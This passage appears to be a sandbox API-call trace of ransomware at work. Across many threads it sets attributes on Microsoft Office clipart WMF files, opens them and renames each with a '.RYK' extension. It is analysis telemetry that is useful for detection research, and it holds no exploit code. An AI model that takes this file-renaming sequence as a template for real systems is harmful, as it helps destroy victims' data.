	[0203.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.110] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.110] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1701
	os_tid = 0x2058

	[0203.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF", dwFileAttributes=0x80) returned 0
	[0203.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.113] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1702
	os_tid = 0x205c

	[0203.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF", dwFileAttributes=0x80) returned 0
	[0203.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.739] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.740] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1703
	os_tid = 0x2060

	[0203.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF", dwFileAttributes=0x80) returned 0
	[0204.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.064] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1711
	os_tid = 0x2088

	[0203.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF", dwFileAttributes=0x80) returned 0
	[0203.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.742] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.742] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1712
	os_tid = 0x208c

	[0203.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF", dwFileAttributes=0x80) returned 0
	[0203.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.745] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1713
	os_tid = 0x2090

	[0203.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF", dwFileAttributes=0x80) returned 0
	[0203.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.747] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.747] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1714
	os_tid = 0x2094

	[0203.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF", dwFileAttributes=0x80) returned 0
	[0203.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.749] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.750] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1715
	os_tid = 0x2098

	[0203.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF", dwFileAttributes=0x80) returned 0
	[0203.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.754] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.754] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1716
	os_tid = 0x209c

	[0203.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF", dwFileAttributes=0x80) returned 0
	[0204.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.066] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1717
	os_tid = 0x20a0

	[0203.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF", dwFileAttributes=0x80) returned 0
	[0204.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.068] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1718
	os_tid = 0x20a4

	[0203.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF", dwFileAttributes=0x80) returned 0
	[0203.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.759] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.759] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1719
	os_tid = 0x20a8

	[0203.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF", dwFileAttributes=0x80) returned 0
	[0203.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.761] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.761] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1720
	os_tid = 0x20ac

	[0203.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF", dwFileAttributes=0x80) returned 0
	[0204.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.070] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1721
	os_tid = 0x20b0

	[0203.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF", dwFileAttributes=0x80) returned 0
	[0204.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.072] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.072] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1722
	os_tid = 0x20b4

	[0204.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF", dwFileAttributes=0x80) returned 0
	[0204.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.075] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1730
	os_tid = 0x20d4

	[0204.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF", dwFileAttributes=0x80) returned 0
	[0204.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.331] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1731
	os_tid = 0x20d8

	[0204.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF", dwFileAttributes=0x80) returned 0
	[0204.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.078] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.078] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1732
	os_tid = 0x20dc

	[0204.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF", dwFileAttributes=0x80) returned 0
	[0204.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.080] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1733
	os_tid = 0x20e0

	[0204.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF", dwFileAttributes=0x80) returned 0
	[0204.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.334] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1734
	os_tid = 0x20e4

	[0204.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF", dwFileAttributes=0x80) returned 0
	[0204.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.351] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1735
	os_tid = 0x20e8

	[0204.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF", dwFileAttributes=0x80) returned 0
	[0204.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.089] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.089] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1736
	os_tid = 0x20ec

	[0204.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF", dwFileAttributes=0x80) returned 0
	[0204.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.353] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1737
	os_tid = 0x20f0

	[0204.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF", dwFileAttributes=0x80) returned 0
	[0204.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.355] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1738
	os_tid = 0x20f4

	[0204.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF", dwFileAttributes=0x80) returned 0
	[0204.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.357] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1739
	os_tid = 0x20f8

	[0204.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF", dwFileAttributes=0x80) returned 0
	[0204.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.360] CloseHandle (hObject=0xffffffffffffffff) returned 0
